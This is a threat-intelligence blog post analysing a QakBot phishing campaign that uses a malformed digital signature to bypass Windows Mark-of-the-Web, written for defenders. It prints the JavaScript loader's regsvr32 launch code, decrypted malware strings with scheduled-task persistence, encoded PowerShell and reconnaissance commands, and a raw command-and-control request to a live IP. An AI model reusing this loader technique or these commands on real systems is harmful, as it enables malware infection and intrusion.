QakBot Malware Used Unpatched Vulnerability to Bypass Windows OS Security Feature

E blog.eclecticiq.com/qakbot-malware-used-unpatched-vulnerability-to-bypass-windows-os-security-feature





Executive Summary

This paper investigates a recent QakBot phishing campaign's ability to evade Mark-of-the-Web (MoTW) security features, allowing for escape from the designated security zone and successful installation of malicious software on victim device.. Key observations:

- EclecticIQ analysts investigated QakBot phishing campaigns switching to a <u>Zero-Day</u> <u>Vulnerability</u> to evade Windows Mark of the Web (MoTW). QakBot may be able to increase its infection success rate as a result of the switch to a zero-day exploit.
- The threat actor distributes QakBot using phishing emails with a malicious URL inside.
- When a victim user clicks on the malicious URL, it starts to download an encrypted ZIP folder that contains an ISO image. If the ISO image is opened by victim, it will mount itself on a disk and open another File Explorer window that contains the final QakBot Loader as a JavaScript format which can be executed by a simple user click.
- The final QakBot Loader (WW.js) contains a malformed digital signature to evade the Mark of the Web (MoTW) Security feature on Windows OS. · EclecticIQ analysts observed use of zero-day vulnerabilities is increasing among non-nation state cyber criminals.
- Living off the Land Binaries (LOLBINS) like Regsvr32.exe (2) and WScript.exe (3) are actively abused to execute QakBot Malware.

What is Mark of The Web (MoTW)?

Mark of the Web (MoTW) is used by Windows as a security feature across its product suite. This feature works by checking downloaded executable files against a file whitelist that are downloaded by Windows users. If the file is not on that list, Windows Defender SmartScreen will show a warning message like image below and it will not execute the malware:

Windows protected your PC

Windows Defender SmartScreen prevented an unrecognized app from starting. Running this app might put your PC at risk. More info

Don't run

Figure 1 – Windows SmartScreen warning

The MS Office Protected view feature is used to protect MS Office users against potential malware in documents. Most of the MS Office file types flagged with MOTW will be opened with PROTECTED VIEW:

PROTECTED VIEW Be careful—files from the Internet can contain viruses. Unless you need to edit, it's safer to stay in Protected View.

Figure 2 -MS Office document opened as Protected View

MS Office is able to block macro enabled office document downloaded from the internet, if the appropriate setting is enabled. Macros in MS Office files flagged with MOTW are disabled and a warning message is displayed to the user:

8 51	e - S							sample.xl	sm - Excel	
File	Home	Insert	Draw	Page La	yout	Formulas	Data	Review	View	Developer
* *	Calibri		* 11 *	A* A*	$\equiv =$	<i>≡ ∛</i> /•	i.	General		
Paste 💉	B I	<u>u</u> .		· <u>A</u> ·	= =		- 13	\$ - % ,	* 8 48	Conditional Formatting *
Clipboard	s l	Fo	nt	5		Alignment	6	Numbe	er G	
😢 BLOCK	ED CONTE	ENT Mac	ros in this do	ocument	have bee	n disabled to	help keep	you safe.	Learn Mo	re
A1	¥ 1	×	$\sqrt{-f_{\rm X}}$							
A In	B		c i	D	Е	F	G	н	1.1	J
1		_								

Figure 3 – Macros blocked on downloaded Excel document

When a Windows OS user downloads a file from the internet, it creates an Alternative Data Stream (ADS) named Zone.Identifier and adds a Zoneld to this ADS in order to indicate the zone from which the file originates. This is a proactive security feature to prevent downloading malicious files on untrusted source. Many Windows security features such as Microsoft Office Protected view, SmartScreen, Smart App Control, and warning dialogs rely on the presence of the MoTW to function correctly.

As the example image shows, details of MoTW alternate data streams on downloaded file from VirusTotal.ZoneID being used to identify a file, for example The following ZoneId values may be used in a Zone.Identifier ADS:

- 1. Local computer
- 2. Local intranet
- 3. Trusted sites
- 4. Internet
- 5. Restricted sites



Figure 4 – Extracting ZoneID ADS on downloaded file

QakBot Campaign Observed Evading Windows Mark of the Web (MoTW)

At the beginning of November 2022, EclecticIQ analysts examined a recent campaign that delivers QakBot (also called Qbot) to victim devices via phishing emails, executes by abusing multiple Living Off the Land Binaries (LOLBAS) and evades the Mark of the Web (MoTW) flag to increase the infection rate. Qakbot has been observed as an initial access point for ransomware groups (<u>4</u>).

Threat actors have used QakBot since 2007 (5) as a Banking Trojan to steal credit card information from victim devices. It evolved as initial access malware for remotely delivering additional malicious payloads. Black Basta Ransomware gang used QakBot to create an initial access point of victim's device and move laterally within an organization's network to execute ransomware at the end of the kill chain.

QakBot's execution process is highlighted below:



Figure 5 - QakBot Execution Flow

First Stage: Phishing Emails Containing Malicious URLs Deliver Qakbot Loader

The attack starts with a phishing email containing a malicious URL and ZIP password for delivering the QakBot malware. Victims clicking on the URL download an encrypted ZIP folder which can be unzipped with a password provided by attackers via phishing email. That unzipped file contains a randomly named malicious ISO image. The ISO image contains a final QakBot loader in form of a JavaScript file (WW.js) which is used to execute QakBot DLL in-memory of wermgr.exe (a Windows error reporting process).



Figure 6 - Example of Phishing Email delivers QakBot Malware

Second Stage 2.1: In-Memory Execution of QakBot Malware via JavaScript Loader

The QakBot Loader can be executed by one of the most widely abused Living Off the Land Binaries And Scripts (LOLBAS) called wscript.exe (3). Threat Actors often abuse Windows built in features to avoid detection. On Windows OS, JavaScript file extension can be executed by user click, upon the execution it uses Windows built in software called wscript.exe (3).

🚔 🕑 🔻			Manage	DVD Drive (E:) CD_ROM				-	×
File Home	Share	View	Drive Tools						~ 📀
Pin to Quick Copy access	Paste	🔏 Cut 🚾 Copy pat 환 Paste sho	th ortcut to *	Copy to Delete Rename	New item	s Properties	Select all Select none		
	a s Th		D Drive (Ex) CD	nou		Q. Count DVD Drive	EN CD DOM		
$\leftarrow \rightarrow \checkmark \uparrow$	ana ' in	IS PC PUV	D Drive (E:) CD	ROM	v 0	>> Search DVD Drive	(E:) CD_ROM		
OneDrive		^							
🧢 This PC					ST 🗕	QakBot Los	ader		
📙 3D Objects									
🔚 Desktop			port	data.txt	WW.js				
Documents	;								
🚺 Downloads									
🚺 Music									
E Pictures									
📜 Videos									
😓 OS (C:)									
DVD Drive ((E:) CD_R	i l							
port									

Figure 7 - QakBot loader inside mounted ISO image.

QakBot Loader deploys the Regsvr32.exe (2) command line tool as an obfuscated string to evade antivirus detections. When a user clicks on the WW.js, it will use Regsvr32.exe (2) to load the QakBot DLL, which is located under the port directory and is named

resemblance.tmp.

JS WW	js	×		
WW <mark>st</mark>	V.js >			
				Read "vR32" String
	You	also	change on this location the value of a variable	
3				—
	var	cont	<pre>ent = WScript.CreateObject("Scripting.FileSystemC</pre>	<pre>>bject").OpenTextFile("data.txt", 1).ReadAll();</pre>
	var	s =	WScript.CreateObject("shell.application");	
	s.sh	elle	<pre>xecute("regS"+content, "port\\resemblance.tmp", '</pre>	", "open", 1);
				▲
			/ Begin Signature Diock	
9		JG /	/ MIIVNWYJKOZINVCNAQCCOIIVKDCCFYWCAQEXCZAJBgur	Load DLL via Regsvr32
10				
11				_
12				Malformed digital
13		JG /	/ KTMKBX18XQCO9NNLOIISCJCCBW8WggKXOAMCAQICEEJ8	signature
14			/ K/KgVZSNNqTJIONWIBYWDQYJKOZINVCNAQEMBQAWEZEL	
15			/ MAKGAIUEBNMCRØIXGZAZBGNVBAGMEKJMYWXWANJNCMIZ	
16			/ amggvXZIDTEQMA4GAIUEBWWHU2InZm56YTEAMBgGAIUE	
1/			/ CgwRQ29TD2RVIENBIEXpDw102WQXIIA+BgNVBAMMGFIP	
18	// S	PTC /	/ amdraXvzcnZibCBHcnpuiFJvamJzdTAeFw0yOTg0MzMw	





Figure 9 - Resemblance.tmp contains MZ magic header which marking it executable.



Figure 10 - Extracted malformed digital signature from JavaScript QakBot Loader

Second Stage 2.2: QakBot Loader uses Malformed Digital Signature to Evade Mark of the Web (MoTW)

On November 3rd, researcher Will Dormann (<u>6</u>) identified three different MoTW bypass methods for bypassing the MoTW feature. On November, 8th, Microsoft released patches (CVE-2022-41049, CVE-2022-41091) (<u>7</u>) addressing two of the methods. The 3rd method - using malformed digital signatures (CVE-2022-44698) (<u>8</u>) - patched on December 13 and is actively exploited in the wild.

Normally, after executing the QakBot loader, Windows will display a warning message (see Figure 11) to avoid the execution. Because of the malformed digital signature, the loader bypasses the Mark of the Web (MoTW) flag, and the execution is proceeds without a Windows warning pop-up message.



Figure 11 - Mark of the Web (MoTW) in action

 \times

e	S MOTW-CHEC	CK.js Properties	×
	General Script	Security Details Previous Versions	
worw-ch	S	MOTW-CHECK.js	
	Type of file:	JavaScript File (.js)	
	Opens with:	Alicrosoft Windows Ba Change	
	Location:	C:\Users\ \Desktop	-
	Size:	125 bytes (125 bytes)	
	Size on disk:	0 bytes	
	Created:	Tuesday, November 22, 2022, 1:05:28 PM	
and the set	Modified:	Tuesday, November 22, 2022, 1:05:29 PM	
<u>asmin</u>	Accessed:	Today, November 27, 2022, 1 minute ago	
	Attributes:	Read-only Hidden Advanced	
	Security:	This file came from another Unblock Computer and might be blocked to help protect this computer.	
		OK Cancel Apply	i,

Figure 12 - Downloaded JavaScript file from untrusted URL automatically flagged by MoTW.

Third Stage: QakBot Uses Multiple Techniques to Evade Anti-Malware Scanners

In the next stage of the attack, QakBot injects itself inside the legitimate Windows Error Reporting process (wermgr.exe) to evade behavior based anti-malware solutions.

餐 wermgr.exe (1072) Properties		- 0	\times
General Statistics Performance Threads Token Modules Memory	Environment Handles GPU Disk and Network Comment		
V Hide free regions		Strings Defresh	
		oungain rencon	
Base address Type	Size Protection Use	Total WS Private WS Shareable WS Shared WS Locked WS	^
0x72651000 Image: Commit	60 kB RX C:\Windows\SysWOW64\samcli.dll	20 kB 20 kB	
0x72611000 Image: Commit Memory Inje	ction 40 kB RX C:\Windows\SysWOW64\logoncii.dli	20 KB 20 KB	
0x725d1000 Image: Commit	104 kB RX C:\Windows\SysWOW64\userenv.dll	44 kB 44 kB	
0x72511000 Image: Commit	628 kB RX C:\Windows\SysWOW64\wer.dll	52 kB 52 kB	
0xea1000 Image: Commit	92 kB RX C:\Windows\SysWOW64\wermgr.exe	12 kB 4 kB 8 kB	
0x360000 Mapped: Commit	168 kB RWX	136 kB 136 kB	
0x5848000 Private: Commit	8 kB RW+G Stack 32-bit (thread 5740)		
Dx5805000 Private: Commit	12 KB_RW+G Stack (Thread 5740)		_
wermgr.exe (1072) (0x360000 - 0x38a000)			-
00014460 94 86 39 4f 00 00 00 00 82 48 27 30 64 c2	es e6 00 00 00 00 31 1e s5 6d 00 00 00 00 24 55	7.85.71.9 H ¹ 5d 1 m SW a	
0001dd80 a7 81 9b 7c 16 6a 88 51 25 41 87 72 00 00	00 00 5c 00 22 00 00 00 00 00 2a 00 00 00 5c 00) 75 00~.j.Q&A.r\."*\.u.	
0001dda0 00 00 00 00 5c 00 63 00 00 00 00 25 00	73 00 2e 00 25 00 75 00 00 00 e5 dd 62 2b bd a0) 69 8a\.c%.s%.ub+i.	
0001ddc0 50 b8 34 54 00 00 00 00 25 73 3d 25 73 00 0001ddc0 47 65 74 43 75 72 72 65 6c 74 50 61 74 60	00 00 43 72 65 61 74 65 57 69 6e 64 6f 77 57 00) 00 00 P.4T%s=%sCreateWindowW	
0001de00 66 41 99 fb bb ec ea 20 7f f4 96 c4 fd d4	3a 23 ae 71 4f 4d b5 55 d5 6b 03 7c c0 e4 af 4c	c c0 e3 fA	
0001de20 30 e1 f2 65 ad 58 8f de fc 76 fb ab 95 f7	07 a6 c8 40 20 cb c8 3c c0 14 ac 61 ee d7 7b 63	3 cc 37 0e.Xv@ <a{c.7< td=""><td></td></a{c.7<>	
0001de40 7c 65 f0 2a 91 a7 a9 bf 52 c9 14 10 e4 c7	2a 5d 9a e5 f2 06 00 00 00 00 45 e5 38 98 00 00) 00 00 [e.*R*]E.8	
0001de60 3a 21 21 00 50 41 55 54 00 00 00 00 47 45 0001de80 25 73 25 75 00 00 00 00 6f 70 65 6e 00 00		0 00 00 sstopen	
0001dea0 25 00 75 00 00 00 00 00 52 00 45 00 47 00		0 78 00 %.uR.E.GS.Z%.0.8.x.	
0001dec0 00 00 00 00 64 00 6c 00 6c 00 00 00 31 38		00 00d.l.l18293acroflot	
0001dee0 4a 6a 69 73 63 68 75 67 00 00 00 00 54 45 0001df00 54 00 45 00 4d 00 50 00 00 00 00 43 00		0 00 00 JjischugTEMP8.s. (8.s.)	
0001df20 65 63 74 00 3b 00 00 00 54 00 52 00 55 00		0 00 00 ect.;T.R.U.EF.A.L.S.E	
0001df40 31 2e 32 2e 31 31 00 00 33 00 32 00 00 00		3 6c 77 1.2.113.2LocalLowshlw	
0001df60 61 70 69 33 32 2c 64 6c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00 f0 41 00 00 00 dd d1	74 63 api32.dllλτο	
0001dfa0 0e 00 00 00 00 00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 ff ff ff ff 00 00 0	ē 01 00	
0001dfc0 01 00 00 00 02 00 00 02 00 00 02 00 00 d8 df	01 00 e0 df 01 00 e8 df 01 00 bb 69 00 00 db 69) 00 00i	
0001dfe0 10 e0 01 00 fe df 01 00 01 00 00 00 66 77	70 6f 6c 69 63 79 69 6f 6d 67 72 2e 64 6c 6c 00) 44 6cfwpolicyiomgr.dll.Dl	

Figure 13 - Injected QakBot DLL

More information about the Living Off the Land Binaries Regsvr32.exe and WScript.exe can be found via the links below.

- Regsvr32.exe (2)
- WScript.exe (3)

			, ,	
🖻 🗰 WScript.exe (5436) 🛛 M	licrosoft	C:\Windows\System32\WScript.exe	Microsoft Corporation	"C:\Windows\System32\WScript.exe" "C:\Users\RE\Desktop\
regsvr32.exe (8080) M	licrosoft(C:\Windows\System32\regsvr32.exe	Microsoft Corporation	I"C:\Windows\System32\regsvr32.exe" port\resemblance.tmp
regsvr32.exe (6792) M	licrosoft(C:\Windows\SysWOW64\regsvr32.exe	Microsoft Corporation	port\resemblance.tmp
Wermgr.exe (5388) W	vindows	C:\Windows\SysWOW64\wermgr.exe	Microsoft Corporation	IC:\Windows\SysWOW64\wermgr.exe

Figure 14 - Process injection on wermgr.exe and LOLBAS observed in process tree.

QakBot uses Windows API Hashing (Dynamic API Resolution) to evade signature-based anti-malware scanners. It hides the content of the import address table by XOR Encrypted API Hashing Algorithm called CRC32.

Below pictures showing Decompiled functions being used to perform API Hashing:

	Listing: c70000.dll				Po 🛍 🖳 🕅 🖓 📓 📑 •	×	C _i Deco	mpile: mw_api_hashing - (c70000.dll)	🌮 🖷 📓 🕈
-	1001da78 d6 1001da79 54 1001da79 4	DAT_1001da ?? ?? ??	D6h 54h 4Eh	T	XREF[2]: mw_api_hashing: entry:10006beb(`	L 2 voi 3 4 { 5 D	d mw_api_hashing(void) AT_10020b48 = mw_decode_api((shor	t *) 4DAT 1001da78, 0x13c, 0xeee);
	1001da7b 1e 1001da7c 87 1001da7c 87 1001da7c 9a 1001da7f ea 1001da7f ea 1001da80 d4 1001da81 ca 1001da82 e7 1001da83 fb	27 27 27 27 27 27 27 27 27 27 27 27 27	1Eh 87h E1h 9Ah EAh D4h CAh E7h FBh	-	Encrypted API Hash		5 D 7 D 8 D 9 D 10 D 11 D 12 D 13 D	AT_10020b80 = mw_decode_api((shor AT_10020b58 = mw_decode_api((shor AT_10020b58 = mw_decode_api((shor AT_10020b50 = mw_decode_api((shor AT_10020b54 = mw_decode_api((shor AT_10020b5c = mw_decode_api((shor AT_10020b7c = mw_decode_api((shor AT_10020b44 = mw_decode_api((shor AT_10020b44 = mw_decode_api((shor	<pre>t +) &DAT_1001dbb8,0x28,0x1a5); t +) &DAT_1001dbe8,0x58,0xa0a); t +) &DAT_1001dc44,0x18,0x1a3); t +) &DAT_1001dc40,0x24,0x213); t +) &DAT_1001dd38,0x2c,0xa1a); t +) &DAT_1001dd68,8,0x79b); t +) &DAT_1001dd74,4,0x3c5); t +) &DAT_1001dd7c,0x10,0x349);</pre>
	1001da84 a4 1001da85 f6 1001da85 f3 1001da87 c8 1001da87 c8 1001da88 2b 1001da88 d9 1001da88 99	27 77 77 77 77 77 77 77 77	A4h F6h E8h 2Bh 8Ch Ø9h 9Øh	÷	-		L5 } 16	eun;	
	1001da8c 2d 1001da8d 51 1001da86 7c 1001da8f e0 1001da96 5b 1001da91 f5 1001da92 06	27 27 27 27 27 27 27 27 27	2Dh 51h 7Ch EØh 5Bh F5h Ø6h	0 		-	< C _F Dec	omple: mw. apl_hashing × 🔰 Functions ×	2

Figure 15 - XOR Encrypted API Hashing.

EclecticIQ analysts extracted the XOR key which is used to decrypt the content of APIs during the execution time and used this key to decrypt other APIs for further analysis.



Figure 16 - XOR Encryption key stored as static to decrypt the API hash.

QakBot also uses the XOR encryption algorithm to hide its strings for minimizing AV detection. Figure 10 shows encrypted strings are stored in the .rdata Section. They are decrypted during run time.

🔚 Listing:	c70000.dll - (136 addresses selec	ted)	Po 💼 🖡		🛱 M 🔹 🗐	- x	C Decompile: FUN_10001080 - (c70000.dll)
		xor_encrypt	ed_string			Î	1 Zvoidfastcall FUN_10001080(undefined4 param_1)
Ť	1001f0d8 8c	??	8Ch			- 1	
	1001f0d9 70	35	70h	Ρ			4{
	1001f0da 08	55	08h				5 mw xor decrypt((int)&xor encrypted string,0x5bl,(int)&xor key,param 1,param 1)
	1001f0db 76	<u> ??</u>	76h	v			
	1001f0dc ee	??	EEh				b return;
	1001f0dd df	??	DFh				7]}
	1001f0de 8b	25	8Bh				8
	1001f0df fe		FEh				
	1001f0e0 03		Ø3h				
	1001f0e1 f7		F7h				
	10017062 90		90h				
	100150-4 40		8Ch				
	10015005 05	22	480				
	10015005 01	11	arh				
	10016007 20	11	40H				
	10011007 20	22	91h				
	10015009 35	22	356	5		1	3
	100150ea 1e	22	166	-			
	1001f0eb 4e	22	466	N			
	1001f0ec 45	>>	45h	E			
	1001f0ed cf	22	CFh				
	1001f0ee 58	77	58h	x		1	
	1001f0ef d8	22	D8h				
	1001f0f0 fe	??	FEh			_	-
	1001f0f1 31	22	31h	1			-
	1001f0f2 12	??	12h				
	1001f0f3 90	??	90h				
	1001f0f4 63	25	63h	с			
	1001f0f5 2f	55	2Fh	1			
	1001f0f6 dc	??	DCh			-	
	1001f0f7 5e	??	5Eh	^			
	1001f0f8 d0		DØh		J		
	1001f0f0 50	**	Eak	D		>	Ce Decompile: FUN 10001080 x

Figure 17 - XOR Encrypted strings hidden inside rdata section

EclecticIQ analysts successfully decrypted the XOR encrypted strings used by QakBot. The decrypted strings are used by QakBot for testing the internet connection of the victim device, conducting a sandbox check, gaining persistence on the victim device by abusing Schedule Task, and gathering victim computer information upon the attacker's request through a command-and-control (C2) server.

Recipe		Input length: 2928 lines: 1 + D D i iii iiii				
From Hex Delimiter Auto	⊘ 11	8C700876EEDF88FE03F7908C488F4E2091351E4E45CF58D8FE311290632FDC5ED05034D6C930421D9CE0813C249978D06 C538DC8CDD8DFA64CC5CC8686F883F8736DA1829274D53314A0967ED7A1DF8274A333A8D7534D970F18D8D652DEE6248A E6727E023F066FEEE7467B88071AFBD435A3E6D315CD38AF30DC8ED7B9357F8F251776E8888C8B6B98E6C019D32334906 8775C04C364CEF0112392727CAF35841627AED0364739BC898440688250852801F98192DFDFA548C5C5F9EDE89AE7074D E4F19538DA0405B1882DCCB9FEEC22BC7CE598034E971F49F29105D4CE7FC1A3691F6A5655609AAB583EBB504AE39627B				
XOR	⊘ 11	E99E32DF069A41CF4B1FBCB6A3C875A5E20FF87DDA51D84A8E635F02A16B65E5B427AC95CD8F02F399763128B64DB583D 81CE09721CCED4A51B1C8A59833E1BE2CFE1E9C5A62AE9F9F4D6C8D5B4345BB0939B30C33714859432DD849FEF34873BA 3D3105FDE5E5DE3D400C4CE6E91A3262C49684F6DCBB73539814157ABDE2DAFA1D62EF46DF303B4B4F9815C3BD963583C				
Kev A90533539BE4AE8B38F7A8B57AB67E41F70C1	HEX 🕶	B381E5E64D93CDC037D81D34926D501E64E573ECC00813A24311ED0DDB5926D6CB3C541EBCD6AF020DAE4F99281EE18FD 8C3D5C84996F7F6F8588F6125388BF6893586751D4D965FF49987F125857F89C12469DF5C5C5C88394FDD571D484073643				
Scheme Standard Null preserving		76191198F31B66885551A9C267EDAEEA25FD37EF38E5D2E68C6D2DC6765C35EFCACDE455D8CFDA15D11224D96F71731BC 356D9FC3378927823F062C75D319AD87B5206D18AB6101AB54F982A1CA3C2D2D69CAA58C3CAC2FAF582BA1051A9F28D35 DE341EED9E31D5E686E438BE7AFE8A585DD85F14EE860483DD69C7EA3837487118287AC1B38B8483EADC47DEAA7FC22E				
		2376736297244410633CC719073648261440C658635067801733635060781783448262982307623507623507623507623507623492 1BCFCEAS1904F259892852A0C403080FAC4FC8E869F4F78EFA171EC4939037C43402AC982A88A993E671F70AA880134A8 7624AE8921EC1DF4FDCA7333876780125EE917A1080727786224903AFEC3BFE6AE525F48EDC8C6038667240730580F2C8 4D85DAD014C22824857F777159FC6FD8F03A3F907202B57EC13C319BD955401ED5C8B30109DC52943952FEC9DCC9D5C80 FDF8B83A9AE97BA5648E4FBC460CE7554B6DD2CDD89C4A274A333F9961E61C3574BF3CE5788CF26D2A93A2D52692A398B				
		Output start: 456 time: 5m5 end: 456 length: 1460 length: 0 lines: 1				
		<pre>%u;%u;%u;%u;S0290af9.ProgramData.Self test FAILED!!!.ipconfig /all.Self check ok!.%s "\$%s = \"%s\"; & \$%s".%s \"\$%s = \\\"%s\\\\; & \$%s\".SoNuce]ugdiB3c[doMuce2s81*uXmcvP./t5.nltest /domain_trusts /all_trusts.nslookup -querytype=ALL -timeout=12 _ldap_tcp.dcmsdcs.%s.SoFTWARE\Microsoft\Windows\CurrentVersion\Run.ERROR: GetModuleFileNameW() failed with error: %u.bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN.SELF_TEST_1.net view.powershell.exe.c:\ProgramDatalnk.\System32\WindowsPowerShell\v1.0\powershell.exe.microsoft. com,google.com,cisco.com,oracle.com,verisign.com,broadcom.com,yAino.com,xfinity.com,irs.gov,linked in.com.schtasks.exe /Delete /F /TN %u.at.exe %u:%u "%s" /I.powershell.exe -encodedCommand .Microsoft.cmd /c set.ProfileImagePath.SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList.cmd.qwinsta.net share.%s %04x.%u %04x.%u res: %s seh_test: %u consts_test: %d vmdetected: %d createprocess: %d-route print.whoami /all.powershell.exe - encodedCommand %S.regsvr32.exe ."%s\system32\schtasks.exe" /Create /ST %02u:%02u /RU "NT AUTHORITY\SYSTEM" /SC ONCE /tr "%s' /Z /ET %02u2 //n %s.arp -a.3c91e539.netstat -nao.Start screensht.error res="%s' err=%d len=%u.amstream.dll.schtasks.exe /Create /RU "NT</pre>				
STEP 🗵 BAKE!	✓ Auto Bake	AUTHORITY\SYSTEM" /SC OMSTART /IN %u /IR "%S" /NP /F.net localgroup. /c ping.exe -n 6 127.0.0.1 & type "%s\System32\calc.exe" > "%s".runas.ERROR: GetModuleFileNameW() failed with error: ERROR_INSUFFICIENT_BUFFER.Self check.Self test OKr.;				

Figure 18 – Decrypted Strings from QakBot Malware

Fourth Stage: Command and Control (C2) Connection

After successful execution, QakBot checks its internet connectivity and will send multiple POST requests to its C2 servers.

QakBot checks internet availability on victim's device:



Figure 19 - QakBot malware checking Internet availability

C2 protocol uses JSON object encapsulation with a RC4 Encrypted message which is encoded with Base64.



Figure 20 - QakBot performs command and control connections

Raw example of an HTTP POST request sent by QakBot to its C2:

```
POST /t5 HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko
Host: 83.114.60.171:2222
Content-Length: 80
Cache-Control: no-cache
```

nwhoktynial=ybx9hXlo5xJR8qyNOmlkDegHV0bs9FhT9j/HEenUqmAf3ofNnMDZiaMhU8yYq8X/Ag==

MITRE ATT&CK

Technique Name	TTP ID
User Execution: Malicious Link	T1204.001
System Binary Proxy Execution: Regsvr32	T1218.010
Command and Scripting Interpreter: JavaScript	T1059.007

Phishing: Spearphishing Link	T1566.002
Application Layer Protocol: Web Protocols	T1071.001
Process Injection: Process Hollowing	T1055.012
Obfuscated Files or Information	T1027
Obfuscated Files or Information: Dynamic API Resolution	T1027.007
System Information Discovery	T1082
Scheduled Task/Job: Scheduled Task	T1053.005
Virtualization/Sandbox Evasion: System Checks	T1497.001
Windows Management Instrumentation	T1047

Indicators:

File Name	SHA 256 Hash
resemblance.tm p	8ca16991684f7384c12b6622b8d1bcd23bc27f186f499c2059770ddd3031 f274
UY76.img	26f5bc698dfec8e771b781dc19941e2d657eb87fe8669e1f75d9e5a1bb4d b1db
WW.js	c5df8f8328103380943d8ead5345ca9fe8a9d495634db53cf9ea3266e353 a3b1
Injected- QakBot-dll	6fb41b33304b65e6e35f04e8cc70f7a24cd36e29bbb97266de68afcf113f 9a5f

Find the data for <u>COMMAND AND CONTROL SERVER C2</u>

Find the data for <u>YARA RULES</u>

About EclecticIQ Intelligence & Research Team

EclecticIQ is a global provider of threat intelligence, hunting, and response technology and services. Headquartered in Amsterdam, the <u>EclecticIQ Intelligence & Research Team</u> is made up of experts from Europe and the U.S. with decades of experience in cyber security and intelligence in industry and government.

We would love to hear from you. Please send us your feedback by emailing us at <u>research@eclecticiq.com</u> or fill in the <u>EclecticIQ Audience Interest Survey</u> to drive our research towards your priority area.

Structured Data

Find the Analyst Prompt and earlier editions in our public TAXII collection for easy use in your security stack.

TAXII v1 Discovery services: https://cti.eclecticiq.com/taxii/discovery

Please refer to our <u>support page</u> for guidance on how to access the feeds.

You might also be interested in:

Network Environment-Focused Conversations Needed in Approaches to Cyber Security

Emotet Downloader Document Uses Regsvr32 for Execution

AI Facial Recognition Used in Ukraine/Russia War Prone to Vulnerabilities

Appendix